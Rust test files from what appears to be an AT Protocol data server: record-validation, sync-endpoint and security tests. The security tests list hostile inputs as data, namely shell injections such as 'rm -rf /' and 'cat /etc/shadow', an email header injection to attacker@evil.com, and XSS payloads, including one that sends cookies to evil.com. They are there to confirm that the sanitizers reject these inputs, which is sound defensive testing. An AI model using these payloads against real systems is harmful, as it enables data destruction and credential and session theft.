let long_name = "n".repeat(65);
let list = json!({
"$type": "app.bsky.graph.list",
"name": long_name,
"purpose": "app.bsky.graph.defs#modlist",
"createdAt": now()
});
let result = validator.validate(&list, "app.bsky.graph.list");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
}
#[test]
fn test_validate_list_empty_name() {
let validator = RecordValidator::new();
let list = json!({
"$type": "app.bsky.graph.list",
"name": "",
"purpose": "app.bsky.graph.defs#modlist",
"createdAt": now()
});
let result = validator.validate(&list, "app.bsky.graph.list");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "name"));
}
#[test]
fn test_validate_feed_generator_valid() {
let validator = RecordValidator::new();
let generator = json!({
"$type": "app.bsky.feed.generator",
"did": "did:web:example.com",
"displayName": "My Feed",
"createdAt": now()
});
let result = validator.validate(&generator, "app.bsky.feed.generator");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_feed_generator_displayname_too_long() {
let validator = RecordValidator::new();
let long_name = "f".repeat(241);
let generator = json!({
"$type": "app.bsky.feed.generator",
"did": "did:web:example.com",
"displayName": long_name,
"createdAt": now()
});
let result = validator.validate(&generator, "app.bsky.feed.generator");
assert!(matches!(result, Err(ValidationError::InvalidField { path, .. }) if path == "displayName"));
}
#[test]
fn test_validate_unknown_type_returns_unknown() {
let validator = RecordValidator::new();
let custom = json!({
"$type": "com.custom.record",
"data": "test"
});
let result = validator.validate(&custom, "com.custom.record");
assert_eq!(result.unwrap(), ValidationStatus::Unknown);
}
#[test]
fn test_validate_unknown_type_strict_rejects() {
let validator = RecordValidator::new().require_lexicon(true);
let custom = json!({
"$type": "com.custom.record",
"data": "test"
});
let result = validator.validate(&custom, "com.custom.record");
assert!(matches!(result, Err(ValidationError::UnknownType(_))));
}
#[test]
fn test_validate_type_mismatch() {
let validator = RecordValidator::new();
let record = json!({
"$type": "app.bsky.feed.like",
"subject": {"uri": "at://test", "cid": "bafytest"},
"createdAt": now()
});
let result = validator.validate(&record, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::TypeMismatch { expected, actual })
if expected == "app.bsky.feed.post" && actual == "app.bsky.feed.like"));
}
#[test]
fn test_validate_missing_type() {
let validator = RecordValidator::new();
let record = json!({
"text": "Hello"
});
let result = validator.validate(&record, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::MissingType)));
}
#[test]
fn test_validate_not_object() {
let validator = RecordValidator::new();
let record = json!("just a string");
let result = validator.validate(&record, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
}
#[test]
fn test_validate_datetime_format_valid() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Test",
"createdAt": "2024-01-15T10:30:00.000Z"
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_datetime_with_offset() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Test",
"createdAt": "2024-01-15T10:30:00+05:30"
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_datetime_invalid_format() {
let validator = RecordValidator::new();
let post = json!({
"$type": "app.bsky.feed.post",
"text": "Test",
"createdAt": "2024/01/15"
});
let result = validator.validate(&post, "app.bsky.feed.post");
assert!(matches!(result, Err(ValidationError::InvalidDatetime { .. })));
}
#[test]
fn test_validate_record_key_valid() {
assert!(validate_record_key("3k2n5j2").is_ok());
assert!(validate_record_key("valid-key").is_ok());
assert!(validate_record_key("valid_key").is_ok());
assert!(validate_record_key("valid.key").is_ok());
assert!(validate_record_key("valid~key").is_ok());
assert!(validate_record_key("self").is_ok());
}
#[test]
fn test_validate_record_key_empty() {
let result = validate_record_key("");
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
}
#[test]
fn test_validate_record_key_dot() {
assert!(validate_record_key(".").is_err());
assert!(validate_record_key("..").is_err());
}
#[test]
fn test_validate_record_key_invalid_chars() {
assert!(validate_record_key("invalid/key").is_err());
assert!(validate_record_key("invalid key").is_err());
assert!(validate_record_key("invalid@key").is_err());
assert!(validate_record_key("invalid#key").is_err());
}
#[test]
fn test_validate_record_key_too_long() {
let long_key = "k".repeat(513);
let result = validate_record_key(&long_key);
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
}
#[test]
fn test_validate_record_key_at_max_length() {
let max_key = "k".repeat(512);
assert!(validate_record_key(&max_key).is_ok());
}
#[test]
fn test_validate_collection_nsid_valid() {
assert!(validate_collection_nsid("app.bsky.feed.post").is_ok());
assert!(validate_collection_nsid("com.atproto.repo.record").is_ok());
assert!(validate_collection_nsid("a.b.c").is_ok());
assert!(validate_collection_nsid("my-app.domain.record-type").is_ok());
}
#[test]
fn test_validate_collection_nsid_empty() {
let result = validate_collection_nsid("");
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
}
#[test]
fn test_validate_collection_nsid_too_few_segments() {
assert!(validate_collection_nsid("a").is_err());
assert!(validate_collection_nsid("a.b").is_err());
}
#[test]
fn test_validate_collection_nsid_empty_segment() {
assert!(validate_collection_nsid("a..b.c").is_err());
assert!(validate_collection_nsid(".a.b.c").is_err());
assert!(validate_collection_nsid("a.b.c.").is_err());
}
#[test]
fn test_validate_collection_nsid_invalid_chars() {
assert!(validate_collection_nsid("a.b.c/d").is_err());
assert!(validate_collection_nsid("a.b.c_d").is_err());
assert!(validate_collection_nsid("a.b.c@d").is_err());
}
#[test]
fn test_validate_threadgate() {
let validator = RecordValidator::new();
let gate = json!({
"$type": "app.bsky.feed.threadgate",
"post": "at://did:plc:test/app.bsky.feed.post/123",
"createdAt": now()
});
let result = validator.validate(&gate, "app.bsky.feed.threadgate");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_labeler_service() {
let validator = RecordValidator::new();
let labeler = json!({
"$type": "app.bsky.labeler.service",
"policies": {
"labelValues": ["spam", "nsfw"]
},
"createdAt": now()
});
let result = validator.validate(&labeler, "app.bsky.labeler.service");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
#[test]
fn test_validate_list_item() {
let validator = RecordValidator::new();
let item = json!({
"$type": "app.bsky.graph.listitem",
"subject": "did:plc:test123",
"list": "at://did:plc:owner/app.bsky.graph.list/mylist",
"createdAt": now()
});
let result = validator.validate(&item, "app.bsky.graph.listitem");
assert_eq!(result.unwrap(), ValidationStatus::Valid);
}
-86
View File
@@ -1,86 +0,0 @@
mod common;
use common::*;
use axum::{extract::ws::Message, routing::get, Router};
use bspds::{
state::AppState,
sync::{firehose::SequencedEvent, relay_client::start_relay_clients},
};
use chrono::Utc;
use tokio::net::TcpListener;
use tokio::sync::mpsc;
async fn mock_relay_server(
listener: TcpListener,
event_tx: mpsc::Sender<Vec<u8>>,
connected_tx: mpsc::Sender<()>,
) {
let handler = |ws: axum::extract::ws::WebSocketUpgrade| async {
ws.on_upgrade(move |mut socket| async move {
let _ = connected_tx.send(()).await;
while let Some(Ok(msg)) = socket.recv().await {
if let Message::Binary(bytes) = msg {
let _ = event_tx.send(bytes.to_vec()).await;
break;
}
}
})
};
let app = Router::new().route("/", get(handler));
axum::serve(listener, app.into_make_service())
.await
.unwrap();
}
#[tokio::test]
async fn test_outbound_relay_client() {
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let (event_tx, mut event_rx) = mpsc::channel(1);
let (connected_tx, _connected_rx) = mpsc::channel::<()>(1);
tokio::spawn(mock_relay_server(listener, event_tx, connected_tx));
let relay_url = format!("ws://{}", addr);
let db_url = get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.connect(&db_url)
.await
.unwrap();
let state = AppState::new(pool).await;
let (ready_tx, ready_rx) = mpsc::channel(1);
start_relay_clients(state.clone(), vec![relay_url], Some(ready_rx)).await;
tokio::time::timeout(
tokio::time::Duration::from_secs(5),
async {
ready_tx.closed().await;
}
)
.await
.expect("Timeout waiting for relay client to be ready");
let dummy_event = SequencedEvent {
seq: 1,
did: "did:plc:test".to_string(),
created_at: Utc::now(),
event_type: "commit".to_string(),
commit_cid: Some("bafyreihffx5a4o3qbv7vp6qmxpxok5mx5xvlsq6z4x3xv3zqv7vqvc7mzy".to_string()),
prev_cid: None,
ops: Some(serde_json::json!([])),
blobs: Some(vec![]),
blocks_cids: Some(vec![]),
};
state.firehose_tx.send(dummy_event).unwrap();
let received_bytes = tokio::time::timeout(
tokio::time::Duration::from_secs(5),
event_rx.recv()
)
.await
.expect("Timeout waiting for event")
.expect("Event channel closed");
assert!(!received_bytes.is_empty());
}
+377
View File
@@ -0,0 +1,377 @@
mod common;
use bspds::notifications::{
SendError, is_valid_phone_number, sanitize_header_value,
};
use bspds::oauth::templates::{login_page, error_page, success_page};
use bspds::image::{ImageProcessor, ImageError};
#[test]
fn test_sanitize_header_value_removes_crlf() {
let malicious = "Injected\r\nBcc: attacker@evil.com";
let sanitized = sanitize_header_value(malicious);
assert!(!sanitized.contains('\r'), "CR should be removed");
assert!(!sanitized.contains('\n'), "LF should be removed");
assert!(sanitized.contains("Injected"), "Original content should be preserved");
assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
}
#[test]
fn test_sanitize_header_value_preserves_content() {
let normal = "Normal Subject Line";
let sanitized = sanitize_header_value(normal);
assert_eq!(sanitized, "Normal Subject Line");
}
#[test]
fn test_sanitize_header_value_trims_whitespace() {
let padded = " Subject ";
let sanitized = sanitize_header_value(padded);
assert_eq!(sanitized, "Subject");
}
#[test]
fn test_sanitize_header_value_handles_multiple_newlines() {
let input = "Line1\r\nLine2\nLine3\rLine4";
let sanitized = sanitize_header_value(input);
assert!(!sanitized.contains('\r'), "CR should be removed");
assert!(!sanitized.contains('\n'), "LF should be removed");
assert!(sanitized.contains("Line1"), "Content before newlines preserved");
assert!(sanitized.contains("Line4"), "Content after newlines preserved");
}
#[test]
fn test_email_header_injection_sanitization() {
let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
let sanitized = sanitize_header_value(header_injection);
let lines: Vec<&str> = sanitized.split("\r\n").collect();
assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
assert!(sanitized.contains("Normal Subject"), "Original content preserved");
assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
assert!(sanitized.contains("X-Injected:"), "All content on same line");
}
#[test]
fn test_valid_phone_number_accepts_correct_format() {
assert!(is_valid_phone_number("+1234567890"));
assert!(is_valid_phone_number("+12025551234"));
assert!(is_valid_phone_number("+442071234567"));
assert!(is_valid_phone_number("+4915123456789"));
assert!(is_valid_phone_number("+1"));
}
#[test]
fn test_valid_phone_number_rejects_missing_plus() {
assert!(!is_valid_phone_number("1234567890"));
assert!(!is_valid_phone_number("12025551234"));
}
#[test]
fn test_valid_phone_number_rejects_empty() {
assert!(!is_valid_phone_number(""));
}
#[test]
fn test_valid_phone_number_rejects_just_plus() {
assert!(!is_valid_phone_number("+"));
}
#[test]
fn test_valid_phone_number_rejects_too_long() {
assert!(!is_valid_phone_number("+12345678901234567890123"));
}
#[test]
fn test_valid_phone_number_rejects_letters() {
assert!(!is_valid_phone_number("+abc123"));
assert!(!is_valid_phone_number("+1234abc"));
assert!(!is_valid_phone_number("+a"));
}
#[test]
fn test_valid_phone_number_rejects_spaces() {
assert!(!is_valid_phone_number("+1234 5678"));
assert!(!is_valid_phone_number("+ 1234567890"));
assert!(!is_valid_phone_number("+1 "));
}
#[test]
fn test_valid_phone_number_rejects_special_chars() {
assert!(!is_valid_phone_number("+123-456-7890"));
assert!(!is_valid_phone_number("+1(234)567890"));
assert!(!is_valid_phone_number("+1.234.567.890"));
}
#[test]
fn test_signal_recipient_command_injection_blocked() {
let malicious_inputs = vec![
"+123; rm -rf /",
"+123 && cat /etc/passwd",
"+123`id`",
"+123$(whoami)",
"+123|cat /etc/shadow",
"+123\n--help",
"+123\r\n--version",
"+123--help",
];
for input in malicious_inputs {
assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
}
}
#[test]
fn test_image_file_size_limit_enforced() {
let processor = ImageProcessor::new();
let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
let result = processor.process(&oversized_data, "image/jpeg");
match result {
Err(ImageError::FileTooLarge { .. }) => {}
Err(other) => {
let msg = format!("{:?}", other);
if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
panic!("Expected FileTooLarge error, got: {:?}", other);
}
}
Ok(_) => panic!("Should reject files over size limit"),
}
}
#[test]
fn test_image_file_size_limit_configurable() {
let processor = ImageProcessor::new().with_max_file_size(1024);
let data: Vec<u8> = vec![0u8; 2048];
let result = processor.process(&data, "image/jpeg");
assert!(result.is_err(), "Should reject files over configured limit");
}
#[test]
fn test_oauth_template_xss_escaping_client_id() {
let malicious_client_id = "<script>alert('xss')</script>";
let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
assert!(!html.contains("<script>"), "Script tags should be escaped");
assert!(html.contains("&lt;script&gt;"), "HTML entities should be used for escaping");
}
#[test]
fn test_oauth_template_xss_escaping_client_name() {
let malicious_client_name = "<img src=x onerror=alert('xss')>";
let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None);
assert!(!html.contains("<img "), "IMG tags should be escaped");
assert!(html.contains("&lt;img"), "IMG tag should be escaped as HTML entity");
}
#[test]
fn test_oauth_template_xss_escaping_scope() {
let malicious_scope = "\"><script>alert('xss')</script>";
let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
}
#[test]
fn test_oauth_template_xss_escaping_error_message() {
let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
assert!(!html.contains("<script>"), "Script tags in error should be escaped");
}
#[test]
fn test_oauth_template_xss_escaping_login_hint() {
let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint));
assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
assert!(html.contains("&quot;"), "Quotes should be escaped");
}
#[test]
fn test_oauth_template_xss_escaping_request_uri() {
let malicious_uri = "\" onmouseover=\"alert('xss')\"";
let html = login_page("client123", None, None, malicious_uri, None, None);
assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
}
#[test]
fn test_oauth_error_page_xss_escaping() {
let malicious_error = "<script>steal()</script>";
let malicious_desc = "<img src=x onerror=evil()>";
let html = error_page(malicious_error, Some(malicious_desc));
assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
}
#[test]
fn test_oauth_success_page_xss_escaping() {
let malicious_name = "<script>steal_session()</script>";
let html = success_page(Some(malicious_name));
assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
}
#[test]
fn test_oauth_template_no_javascript_urls() {
let html = login_page("client123", None, None, "test-uri", None, None);
assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs");
let error_html = error_page("test_error", None);
assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs");
let success_html = success_page(None);
assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
}
#[test]
fn test_oauth_template_form_action_safe() {
let malicious_uri = "javascript:alert('xss')//";
let html = login_page("client123", None, None, malicious_uri, None, None);
assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
}
#[test]
fn test_send_error_types_have_display() {
let timeout = SendError::Timeout;
let max_retries = SendError::MaxRetriesExceeded("test".to_string());
let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string());
assert!(!format!("{}", timeout).is_empty());
assert!(!format!("{}", max_retries).is_empty());
assert!(!format!("{}", invalid_recipient).is_empty());
}
#[test]
fn test_send_error_timeout_message() {
let error = SendError::Timeout;
let msg = format!("{}", error);
assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
}
#[test]
fn test_send_error_max_retries_includes_detail() {
let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
let msg = format!("{}", error);
assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
}
#[tokio::test]
async fn test_check_signup_queue_accepts_session_jwt() {
use common::{base_url, client, create_account_and_login};
let base = base_url().await;
let http_client = client();
let (token, _did) = create_account_and_login(&http_client).await;
let res = http_client
.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
.header("Authorization", format!("Bearer {}", token))
.send()
.await
.unwrap();
assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted");
let body: serde_json::Value = res.json().await.unwrap();
assert_eq!(body["activated"], true);
}
#[tokio::test]
async fn test_check_signup_queue_no_auth() {
use common::{base_url, client};
let base = base_url().await;
let http_client = client();
let res = http_client
.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
.send()
.await
.unwrap();
assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work");
let body: serde_json::Value = res.json().await.unwrap();
assert_eq!(body["activated"], true);
}
#[test]
fn test_html_escape_ampersand() {
let html = login_page("client&test", None, None, "test-uri", None, None);
assert!(html.contains("&amp;"), "Ampersand should be escaped");
assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
}
#[test]
fn test_html_escape_quotes() {
let html = login_page("client\"test'more", None, None, "test-uri", None, None);
assert!(html.contains("&quot;") || html.contains("&#34;"), "Double quotes should be escaped");
assert!(html.contains("&#39;") || html.contains("&apos;"), "Single quotes should be escaped");
}
#[test]
fn test_html_escape_angle_brackets() {
let html = login_page("client<test>more", None, None, "test-uri", None, None);
assert!(html.contains("&lt;"), "Less than should be escaped");
assert!(html.contains("&gt;"), "Greater than should be escaped");
assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
}
#[test]
fn test_oauth_template_preserves_safe_content() {
let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com"));
assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved");
assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
assert!(html.contains("user@example.com"), "Login hint should be preserved");
}
#[test]
fn test_csrf_like_input_value_protection() {
let malicious = "\" onclick=\"alert('csrf')";
let html = login_page("client", None, None, malicious, None, None);
assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
}
#[test]
fn test_unicode_handling_in_templates() {
let unicode_client = "客户端 クライアント";
let html = login_page(unicode_client, None, None, "test-uri", None, None);
assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
}
#[test]
fn test_null_byte_in_input() {
let with_null = "client\0id";
let sanitized = sanitize_header_value(with_null);
assert!(sanitized.contains("client"), "Content before null should be preserved");
}
#[test]
fn test_very_long_input_handling() {
let long_input = "x".repeat(10000);
let sanitized = sanitize_header_value(&long_input);
assert!(!sanitized.is_empty(), "Long input should still produce output");
}
+307
View File
@@ -0,0 +1,307 @@
mod common;
mod helpers;
use common::*;
use helpers::*;
use reqwest::StatusCode;
use serde_json::Value;
#[tokio::test]
async fn test_get_head_success() {
let client = client();
let (did, _jwt) = setup_new_user("gethead-success").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.expect("Response was not valid JSON");
assert!(body["root"].is_string());
let root = body["root"].as_str().unwrap();
assert!(root.starts_with("bafy"), "Root CID should be a CID");
}
#[tokio::test]
async fn test_get_head_not_found() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", "did:plc:nonexistent12345")])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
let body: Value = res.json().await.expect("Response was not valid JSON");
assert_eq!(body["error"], "HeadNotFound");
assert!(body["message"].as_str().unwrap().contains("Could not find root"));
}
#[tokio::test]
async fn test_get_head_missing_param() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
}
#[tokio::test]
async fn test_get_head_empty_did() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", "")])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
let body: Value = res.json().await.expect("Response was not valid JSON");
assert_eq!(body["error"], "InvalidRequest");
}
#[tokio::test]
async fn test_get_head_whitespace_did() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", " ")])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
}
#[tokio::test]
async fn test_get_head_changes_after_record_create() {
let client = client();
let (did, jwt) = setup_new_user("gethead-changes").await;
let res1 = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to get initial head");
let body1: Value = res1.json().await.unwrap();
let head1 = body1["root"].as_str().unwrap().to_string();
create_post(&client, &did, &jwt, "Post to change head").await;
let res2 = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to get head after record");
let body2: Value = res2.json().await.unwrap();
let head2 = body2["root"].as_str().unwrap().to_string();
assert_ne!(head1, head2, "Head CID should change after record creation");
}
#[tokio::test]
async fn test_get_checkout_success() {
let client = client();
let (did, jwt) = setup_new_user("getcheckout-success").await;
create_post(&client, &did, &jwt, "Post for checkout test").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::OK);
assert_eq!(
res.headers()
.get("content-type")
.and_then(|h| h.to_str().ok()),
Some("application/vnd.ipld.car")
);
let body = res.bytes().await.expect("Failed to get body");
assert!(!body.is_empty(), "CAR file should not be empty");
assert!(body.len() > 50, "CAR file should contain actual data");
}
#[tokio::test]
async fn test_get_checkout_not_found() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", "did:plc:nonexistent12345")])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::NOT_FOUND);
let body: Value = res.json().await.expect("Response was not valid JSON");
assert_eq!(body["error"], "RepoNotFound");
}
#[tokio::test]
async fn test_get_checkout_missing_param() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
}
#[tokio::test]
async fn test_get_checkout_empty_did() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", "")])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
}
#[tokio::test]
async fn test_get_checkout_empty_repo() {
let client = client();
let (did, _jwt) = setup_new_user("getcheckout-empty").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::OK);
let body = res.bytes().await.expect("Failed to get body");
assert!(!body.is_empty(), "Even empty repo should return CAR header");
}
#[tokio::test]
async fn test_get_checkout_includes_multiple_records() {
let client = client();
let (did, jwt) = setup_new_user("getcheckout-multi").await;
for i in 0..5 {
tokio::time::sleep(std::time::Duration::from_millis(50)).await;
create_post(&client, &did, &jwt, &format!("Checkout post {}", i)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::OK);
let body = res.bytes().await.expect("Failed to get body");
assert!(body.len() > 500, "CAR file with 5 records should be larger");
}
#[tokio::test]
async fn test_get_head_matches_latest_commit() {
let client = client();
let (did, _jwt) = setup_new_user("gethead-matches-latest").await;
let head_res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getHead",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to get head");
let head_body: Value = head_res.json().await.unwrap();
let head_root = head_body["root"].as_str().unwrap();
let latest_res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getLatestCommit",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to get latest commit");
let latest_body: Value = latest_res.json().await.unwrap();
let latest_cid = latest_body["cid"].as_str().unwrap();
assert_eq!(head_root, latest_cid, "getHead root should match getLatestCommit cid");
}
#[tokio::test]
async fn test_get_checkout_car_header_valid() {
let client = client();
let (did, _jwt) = setup_new_user("getcheckout-header").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.sync.getCheckout",
base_url().await
))
.query(&[("did", did.as_str())])
.send()
.await
.expect("Failed to send request");
assert_eq!(res.status(), StatusCode::OK);
let body = res.bytes().await.expect("Failed to get body");
assert!(body.len() >= 2, "CAR file should have at least header length");
}